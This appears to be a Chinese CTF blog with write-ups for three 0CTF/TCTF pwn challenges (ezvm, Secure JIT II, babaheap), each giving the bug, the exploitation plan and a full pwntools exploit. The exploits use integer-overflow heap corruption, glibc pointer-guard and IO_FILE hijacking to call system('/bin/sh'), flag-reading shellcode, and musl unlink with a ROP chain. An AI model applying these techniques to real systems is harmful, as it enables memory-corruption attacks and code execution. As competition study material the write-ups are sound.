分类 TCTF 下的文章

题目

题目实现了一个简单的图灵完备的虚拟机,具有栈操作,算术运算,寄存器操作,读/写内存指令,跳转等指令。其中所有的算术运算都是基于栈的运算。

虚拟机的结构体大致如下:

struct VM
{
  char *code;
  __int64 *memory;
  __int64 *stack;
  __int64 code_size;
  __int64 memory_count;
  __int64 regs[4];
  __int64 vm_ip;
  __int64 vm_sp;
};

其中有三个内存段:code,memory和stack,其中code和memory的大小可以控制,stack的大小固定为0x800。寄存器的值可以通过qword常数加载。程序还提供了存/取指令用于在memory[offset]上读写,也可以通过pop/push指令在stack[vm_sp]上读写。所有的读写都要以寄存器为媒介完成。

漏洞点

除了一些无关紧要的越界读,最主要的漏洞是这个:

  if ( memory_count >= 0x200000000000000LL )    
  {
    if ( !once_flag )                           
      die("bye bye! bad hacker!");
    puts("OK, only one chance.");
    once_flag = 0;
  }
  memory_buf = (char *)malloc(8 * memory_count);

题目允许一次很大的memory_count输入,由于内存单元按照8字节大小计算,最后malloc的时候会传入8 * memory_count,所以当传入的memory_count大于0x2000000000000000时就会整数溢出。比如用户传入0x2000000000000001给memory_count,最后分配内存时相当于执行了malloc(8)

memory的读/写指令实现如下:

case 21:                                // store regX to mem[offset]
    reg_tag_3 = global_vm.code[global_vm.vm_ip];
    mem_idx = *(_QWORD *)&global_vm.code[++global_vm.vm_ip];// 偏移用8字节立即数表示
    global_vm.vm_ip += 8LL;
    if ( (unsigned __int8)reg_tag_3 > 3u || mem_idx < 0 || mem_idx >= global_vm.memory_count )
    die("oveflow!");
    global_vm.memory[mem_idx] = global_vm.regs[reg_tag_3];
    continue;
case 22:                                // load mem[offset] to regX
    reg_tag_4 = global_vm.code[global_vm.vm_ip];
    mem_idx_1 = *(_QWORD *)&global_vm.code[++global_vm.vm_ip];
    global_vm.vm_ip += 8LL;
    if ( (unsigned __int8)reg_tag_4 > 3u || mem_idx_1 < 0 || mem_idx_1 >= 8 * global_vm.memory_count / 8 )
    die("oveflow!");
    global_vm.regs[reg_tag_4] = global_vm.memory[mem_idx_1];
    continue;

可以发现,在写memory的时候使用global_vm.memory_count来作为边界条件,而在读memory的时候则使用了8 * global_vm.memory_count / 8作为边界条件,前者在整数溢出时可以发生越界写,而后者即使发生了整数溢出也无法越界读。这个性质对地址泄露的方式有些许影响。

利用思路

最开始的构造思路是,利用堆上残留有地址值的memory堆块,作为下次code使用所的堆块,将残留的地址作为常数拼接到指令中,比如|xxxxxx|op write|reg idx|leak addr|,以此完成泄露。此时如果申请的memory值特别大,以至于ptmalloc使用mmap来进行分配的话,就会得到一个与libc.so有固定偏移的内存段。之后可以使用任意偏移写来使用IO_FILE套路拿shell,但是由于指令长度受限,最后在尝试触发__malloc_assert时遇到了些困难,不得不换一种构造思路

后来发现如果用tls_dtor_list来拿shell的话...应该也是能满足的,但是做的时候忘记去考虑了

如果说不把memory构造到mmap出来的内存段上的话,那么memory与glibc之间的偏移就是随机的,意味着写memory指令中的常数值也是随机的,这无法一次性通过一个payload完成。于是需要用动态构造vm code的思路————在前一次的VM运行时完成地址泄露,并动态构地造出下一次VM运行时所需的code。然后启动一个具有整数溢出的VM,运行先前构造好的exp code,完成IO_FILE攻击。并且由于memory在heap上,可以很容易越界修改top chunk size,触发_malloc_assert->fflush->...->system("/bin/sh\x00")

由于malloc不会初始化内存,可以先通过memory构造一个残留了libc地址值的heap chunk,将残留值拷贝到不会被破坏的区域。然后释放这个chunk进入unsorted bin,将其再次以tcache的大小从这个chunk中申请两次出来,这样chunk同时包含了heap地址和glibc地址。通过heap地址和glibc地址可以计算出每次写memory[offset]时,所需的offset值。然后将这个offset值作为code的常数部分,构造到当前memory的未使用区域,并在前面添加opcode,组合成一条完整的写存指令。释放该虚拟机,memory的值不会被完全清空。最后,启动具有整数溢出的VM,通过控制code的大小,从之前释放的memory中分配内存,这样就可以执行构造好的exp code

完整Exp

from pwn import *

context.log_level = "debug"

p = process("./ezvm", env={"LD_PRELOAD":"./libc-2.35.so"})
#p = remote("202.120.7.210", 40241)

def set_code_size(size:int):
    p.recvuntil(b"Please input your code size:\n")
    p.sendline(str(size).encode())
    
def set_mem_count(count:int):
    p.recvuntil(b"Please input your memory count:\n")
    p.sendline(str(count).encode())

def send_code(code:bytes):
    p.recvuntil(b"Please input your code:\n")
    p.sendline(code)

# vm struct: 0x00555555554000+0x5040

def exp():
    # leak
    p.recvuntil(b"Welcome to 0ctf2022!!\n")
    p.sendline(b"CMD")
    set_code_size(0x1f0)
    set_mem_count(0x410//8)
    code = b""
    code += p8(23) # finish
    send_code(code)
    ## leak libc & move forward
    p.recvuntil(b"continue?\n")
    p.sendline(b"CMD")
    set_code_size(0x1f0)
    set_mem_count(0x410//8)
    code = b""
    code += p8(22) + p8(0) + p64(0) # load mem[0] to reg0
    code += p8(21) + p8(0) + p64(4) # store reg0 to mem[4]
    code += p8(23) # finish
    send_code(code)
    ## leak heap
    p.recvuntil(b"continue?\n")
    p.sendline(b"CMD")
    set_code_size(0x1f0)
    set_mem_count(0x200//8)
    code = b""
    code += p8(23) # finish
    send_code(code)   
    
    # int overflow -> heap overflow
    #gdb.attach(p, "b *0x00555555554000+0x23C9\nc\n")
    p.recvuntil(b"continue?\n")
    p.sendline(b"CMD")
    set_code_size(0x1f0)
    set_mem_count(0x200//8)
    code = b""
    ## copy libc_leak to mem[1]
    code += p8(22) + p8(2) + p64(4)     # load mem[4] to reg2
    #code += p8(21) + p8(0) + p64(1)     # store reg0 to mem[1]; store libc_leak
    ## decode ptr to mem[0]
    code += p8(22) + p8(0) + p64(0)     # load mem[0] to reg0
    code += p8(0) + p8(0)               # push reg0
    code += p8(20) + p8(1) + p64(12)    # load 12i to reg1
    code += p8(0) + p8(1)               # push reg1
    code += p8(7)                       # left shift
    #code += p8(1) + p8(0)               # pop reg0
    #code += p8(21) + p8(0) + p64(0)     # store reg0 to mem[0]; store heap_base
    ## calc next memory base
    #code += p8(0) + p8(0)               # push reg0
    code += p8(20) + p8(1) + p64(0x6b0) # load 0x6b0 to reg1
    code += p8(0) + p8(1)               # push reg1   
    code += p8(2)                       # add
    code += p8(1) + p8(0)               # pop reg0
    code += p8(21) + p8(0) + p64(2)     # store reg0 to mem[2]; store next memory_base

    ## do exploit
    ####### offsets #######
    # leak: 0x00007ffff7facce0
    pointer_guard = -0x21c570 & 0xffffffffffffffff
    stderr_vtable = 0xa98
    io_cookie_jumps_0x60 = -0x4120 & 0xffffffffffffffff
    binsh = -0x41648 & 0xffffffffffffffff
    system = -0x1c8f80 & 0xffffffffffffffff
    new_guard = 0xdeadbeef
    #######################
    # mem[4:] be used to store code
    ## calc offset to TLS
    #code += p8(22) + p8(2) + p64(1)                 # load mem[1] to reg2; libc_leak
    code += p8(0) + p8(2)                           # push reg2
    code += p8(20) + p8(0) + p64(pointer_guard)     # load pointer_guard to reg0
    code += p8(0) + p8(0)                           # push reg0
    code += p8(2)                                   # add
    code += p8(22) + p8(0) + p64(2)                 # load mem[2] to reg0; mem_base
    code += p8(0) + p8(0)                           # push reg0
    code += p8(3)                                   # sub
    code += p8(20) + p8(1) + p64(8)                 # load 8i to reg0
    code += p8(0) + p8(1)                           # push reg1  
    code += p8(5)                                   # div
    code += p8(1) + p8(0)                           # pop reg0; pointer_guard mem index
    ## construct: write pointer guard - mem[4:8]
    data = p8(20) + p8(0) + p64(new_guard)          # data: load new_guard to reg0
    data = data.ljust(0x10, b"\xff")
    code += p8(20) + p8(1) + data[:8]               # load to reg1
    code += p8(21) + p8(1) + p64(4)                 # store mem[4]
    code += p8(20) + p8(1) + data[8:]               # load to reg1
    code += p8(21) + p8(1) + p64(5)                 # store mem[5]
    code += p8(21) + p8(0) + p64(7)                 # store reg0 to mem[7]; idx
    code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
    code += p8(21) + p8(1) + p64(6)                 # store mem[6]
    
    
    ## calc offset to stderr vtable
    code += p8(0) + p8(0)                           # push reg0
    code += p8(20) + p8(1) + p64(0x43a01)           # load 0x43a01 to reg1
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add
    code += p8(1) + p8(0)                           # pop reg0; vtable mem index
    ## construct: write stderr vtable - mem[8:10] mem[11:13]
    ### calc io_cookie_jumps+0x60 
    code += p8(20) + p8(1) + p64(io_cookie_jumps_0x60)     # load io_cookie_jumps_0x60 offset to reg1
    code += p8(0) + p8(2)                           # push reg2
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add
    code += p8(1) + p8(1)                           # pop reg1; io_cookie_jumps_0x60
    code += p8(21) + p8(1) + p64(9)                 # store reg1 to mem[9]; idx
    code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
    code += p8(21) + p8(1) + p64(8)                 # store mem[8]
    code += p8(21) + p8(0) + p64(12)                # store reg0 to mem[12]; idx
    code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
    code += p8(21) + p8(1) + p64(11)                 # store mem[11]
    
    
    ## calc offset to __cookie
    code += p8(0) + p8(0)                           # push reg0
    code += p8(20) + p8(1) + p64(1)                 # load 1i to reg1
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add
    code += p8(1) + p8(0)                           # pop reg0; __cookie mem index
    ## construct: write stderr __cookie - mem[13:17]
    ### calc binsh 
    code += p8(20) + p8(1) + p64(binsh)             # load binsh offset to reg1
    code += p8(0) + p8(2)                           # push reg2
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add
    code += p8(1) + p8(1)                           # pop reg1; binsh
    code += p8(21) + p8(1) + p64(14)                # store reg1 to mem[14]; idx    
    code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
    code += p8(21) + p8(1) + p64(13)                # store mem[13]
    code += p8(21) + p8(0) + p64(16)                # store reg0 to mem[11]; idx
    code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
    code += p8(21) + p8(1) + p64(15)                # store mem[11]
    
    
    ## calc offset to stderr func_write
    code += p8(0) + p8(0)                           # push reg0
    code += p8(20) + p8(1) + p64(2)                 # load 2i to reg1
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add
    code += p8(1) + p8(0)                           # pop reg0; func_write mem index
    ## construct: write stderr func_write - mem[17:21]
    ### calc system
    
    code += p8(20) + p8(1) + p64(system)            # load system offset to reg1
    code += p8(0) + p8(2)                           # push reg2
    code += p8(0) + p8(1)                           # push reg1
    code += p8(2)                                   # add; system_raw
    code += p8(20) + p8(1) + p64(new_guard)         # load new_guard to reg1; pointer guard
    code += p8(0) + p8(1)                           # push reg1
    code += p8(12)                                  # xor
    code += p8(20) + p8(1) + p64(0x11)              # load 0x11 to reg1;
    code += p8(0) + p8(1)                           # push reg1
    code += p8(7)                                   # ROL 
    code += p8(1) + p8(1)                           # pop reg1; system_enc
    
    code += p8(21) + p8(1) + p64(18)                # store reg1 to mem[18]; idx    
    code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
    code += p8(21) + p8(1) + p64(17)                # store mem[17]
    code += p8(21) + p8(0) + p64(20)                # store reg0 to mem[20]; idx
    code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
    code += p8(21) + p8(1) + p64(19)                # store mem[19]    
    
    code += p8(23)                              # finish
    send_code(code)
    
    ## run constructed code
    #gdb.attach(p, "b *0x00555555554000+0x23C9\nb *0x00007ffff7e127e0\ndir glibc-2.35/malloc\ndir glibc-2.35/libio\nc\n")
    p.recvuntil(b"continue?\n")
    p.sendline(b"CMD")
    set_code_size(0x1ff)
    set_mem_count(0x2000000000000000+0x500//8)    
    code = b""
    code += p8(20) + p8(0) + p64(0x141)         # load 0x141 to reg0
    code += p8(21) + p8(0) + p64(0x1a3)         # store reg0 to mem[0x1a3]; top size 
    code = code.ljust(0x20, b"\xff")
    #code += p8(23) # finish
    send_code(code)
    
    ## getshell
    p.recvuntil(b"continue?\n") 
    p.sendline(b"CMD")    
    set_code_size(0x10)
    set_mem_count(0x10000//8)
    p.sendline(p8(23))
    
    p.interactive()

if __name__ == "__main__":
    exp()

其它思路

Water Paddler使用了通过call_tls_dtors()来getshell的思路

CTFtime.org / 0CTF/TCTF 2022 / ezvm / Writeup

不定期更新,先贴做出来的,部分题目复现出来再更新

0x00 前言

今年依然是第三

2021-09-27T08:29:59.png

0x01 Secure JIT II

分析

一个python语言子集的的JIT,可以生成x64汇编代码,题目给出了一个相对于原工程的diff文件,通过比对发现:题目版本删除了部分代码并在末尾通过mmap开辟一个可执行段,将汇编成二进制的机器码放到里面执行并取出返回值。

需要注意的是,在mmap中执行的时候是从段起始来运行,并不是以某个函数(如main)作为入口执行——这其实会产生一些问题。然而最大的问题还是出现在调用约定的实现上,经过测试,这个编译器并没有检查传入参数和函数声明时的参数是否匹配,且取用参数是通过[rbp+x]的方式取出。这导致了如果我们传入参数的数量小于被调用函数实际声明的参数数量,就会可能发生非预期的内存读写。理论上这可以泄露并修改返回地址。

由于打远程需要发送EOF结束,所以没办法getshell后输指令拿flag,需要准备orw shellcode或者rop。最终我选择了写shellcode。但是由于立即数赋值的时候有长度限制,如果不绕过长度限制则会导致输入的shellcode不连续,增大利用难度,所以在写shellcode的时候用了一些运算来绕过限制。

最后,最关键的问题是,shellcode写到哪。实际上如果我们构造一个三层的调用栈,可以很容易通过参数越界,使得某个参数在取值时正好对应到ret地址的位置。这不仅可以让我们直接读写ret地址本身,更可以利用数组赋值的方式读写ret地址指向的内存。利用这两个写配合起来,就可顺理成章的返回到shellcode头部。

EXP

exp.p64

def test3():
    test2()

def test2():
    test()

def test(a, b, c, d, e, f, g, h, i, j):
    i = i - 9
    i = i + 0x30
    
    tmp = 0x58026a * 0x100 + 0x67
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x616c66 * 0x100 + 0x68
    tmp5 = tmp3 + tmp4
    i[0] = tmp5
    
    tmp = 0x50f99 * 0x100 + 0xf6
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x31e789 * 0x100 + 0x48
    tmp5 = tmp3 + tmp4
    i[1] = tmp5
    
    tmp = 0x89487f * 0x100 + 0xff
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0xffffba * 0x100 + 0x41
    tmp5 = tmp3 + tmp4
    i[2] = tmp5
    
    tmp = 0x995f01 * 0x100 + 0x6a
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x58286a * 0x100 + 0xc6
    tmp5 = tmp3 + tmp4
    i[3] = tmp5
    
    #i[0] = 0x58026a67 616c6668
    #i[1] = 0x50f99f6 31e78948
    #i[2] = 0x89487fff ffffba41
    #i[3] = 0x995f016a 58286ac6
    
    i[4] = 0x50f
    
    return 5
    
def main():
    putc(0xa)

exp.py

from pwn import *
import time

p = remote("118.195.199.18",40404)
#p = remote("127.0.0.1",40404)
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

p.recvuntil(b"`python3 pyast64.py <xxx>`.\n")

with open("./poc2.p64", "r") as f:
    p.send(f.read())
p.shutdown('send')
    
p.interactive()

shellcode 调用的 cat flag

/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

0x02 babaheap

分析

没咋做过musl的东西,后来兴起的风气。其实没啥意思,之前正好做过一些嵌入式库的分析。基本这类库的堆管理实现都类似dlmalloc。总结起来就是没hook,链表种类少,链表检查松散,基本上打好堆数据结构基础就容易推理出利用手段。

参考资料:https://juejin.cn/post/6844903574154002445#heading-4

一边学一边翻源码,思路大概如下:

  1. 程序edit功能有UAF
  2. musl初始堆位于libc的bss段,UAF给chunk的fd指针的最低位字节写0(因为输出时一定会有0截断)使其指向我们申请的别的可控堆块,然后unlink,并在可控堆块中利用view功能读出指针地址即可算出libc基址
  3. 通过unlink的方式往main_arena-8main_arena-0x10上写两个指针(需要指向合法的可写地址)以便后续通过两次unlink拿到位于main_arena位置的堆块(注意alloca会清空分配到的内存,导致arena被破坏,需要视具体情况做一些修复)
  4. 通过double unlink的方式让libc environ中保存的值被拷贝到main_arena中某个header指针的位置(相关的堆数据结构可以看看源码),然后通过上一步得到的位于main_arena的堆块读出栈地址,计算出main_ret
  5. 同样用写两个有效指针到main_ret附近
  6. 同样用双unlink取到包含main_ret的堆块,写ORW的ROP链读flag。注意此时会破坏程序栈上保存的结构体数组指针,到时无法进行后续堆操作,所以拿到这个堆块的时候就要同时写好rop链

调试过程中不算顺利,踩了很多坑,搞到凌晨6点(人困起来效率确实不高奥hhh,加上之前在0VM那题消磨了不少时间

EXP

from pwn import *

#p = process("./babaheap_patch")
p = remote("1.116.236.251", 11124)
elf = ELF("./babaheap")
libc = ELF("./ld-musl-x86_64.so.1")
context.log_level = "debug"
context.arch = "amd64"

def allocate(size:int, content):
    p.sendlineafter(b"Command: ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def update(idx:int, size:int, content):
    p.sendlineafter(b"Command: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Command: ", b"3")
    p.sendlineafter(b"Index: ", str(idx).encode())

def view(idx:int):
    p.sendlineafter(b"Command: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())

# base: 0x0000555555554000
# heap: 0x00007ffff7ffe310
# tele 0x00007ffff7ffe310 100
# arena: 0x00007ffff7ffba40

def exp():
    # leak libc
    allocate(0x10, b"aaaaaaaa") #0
    allocate(0xe0, b"sep") #1 sep leak
    allocate(0x10, b"aaaaaaaa") #2
    allocate(0x10, b"sep") #3 sep
    delete(0)
    delete(2)
    update(0, 1, b"") #  modify next ptr to chunk1
    allocate(0x10, b"xxxxxxxx") #0  write ptr into chunk1
    view(1)
    p.recvuntil(b"Chunk[1]: ")
    p.recv(0xd8)
    leak = u64(p.recv(8))
    libc_base = leak - 0xb0a40
    environ = libc_base + 0xb2f38
    heap_base = libc_base + 0xb3310
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("heap_base:", hex(heap_base))
    print("environ:", hex(environ))
    
    # leak environ
    ## write junk ptr
    allocate(0x30, b"bbbbbbbb") #2
    allocate(0x30, b"sep2") #4
    delete(2)
    #ptr1 = 0x00007ffff7ffba38-0x20
    #ptr2 = 0x00007ffff7ffba38-0x10
    ptr1 = libc_base+0xb0a38-0x20
    ptr2 = libc_base+0xb0a38-0x10
    update(2, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x30, b"xxx") #2
    ## get chunk of arena
    allocate(0x100, b"bbbbbbbb") #5
    allocate(0x50, b"sep2") #6
    delete(5)
    #gdb.attach(p)
    #pause()
    ptr1 = libc_base+0xb0a30-0x10
    ptr2 = libc_base+0xb0b00
    update(5, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0x100, b"yyy") #5
    allocate(0x100, p64(0)*2+p64(0x9000000000)) #7 fix bitmap
    ## get leak envriron
    allocate(0x30, b"ccc") #8
    allocate(0x50, b"sep") #9
    delete(8)
    ptr1 = environ-0x10
    update(8, 0x7, p64(ptr1)[0:6]) 
    allocate(0x30, b"ccc") #8
    allocate(0x30, b"ccc") #10
    view(7)
    ## get stack addr
    p.recvuntil(b"Chunk[7]: ")
    p.recv(0x38)
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    
    # build rop
    pop_rdi_ret = libc_base + 0x15291
    pop_rsi_ret = libc_base + 0x1d829
    pop_rdx_ret = libc_base + 0x2cdda
    libc_open = libc_base + 0x1f920
    libc_read = libc_base + 0x72d10
    libc_write = libc_base + 0x73450
    main_ret = stack_leak - 0x40
    
    ## modify chain header
    ## write junk ptr
    allocate(0x50, b"dddddddd") #11
    allocate(0xf0, b"1") #12
    allocate(0x100, b"sep2") #13
    delete(11)
    ptr1 = main_ret-0x28
    ptr2 = main_ret-0x18
    update(11, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x50, b"xxx") #11
    
    ## rop chain
    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(8)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(heap_base)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_open)
    rop += p64(pop_rdi_ret) + p64(3)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_write)
    
    ## get ret chunk
    delete(12)
    ptr1 = main_ret-0x20
    ptr2 = libc_base+0xb0ae8
    update(12, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0xf0, b"yyy") #12
    allocate(0xf0, rop) #13
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))
    
    #gdb.attach(p, "b *0x0000555555554000+0x1ae2\nc\n")
    
    p.sendline(b"5")
    p.sendline(b"./flag\x00\x00")
    
    p.interactive()

if __name__ == "__main__":
    exp()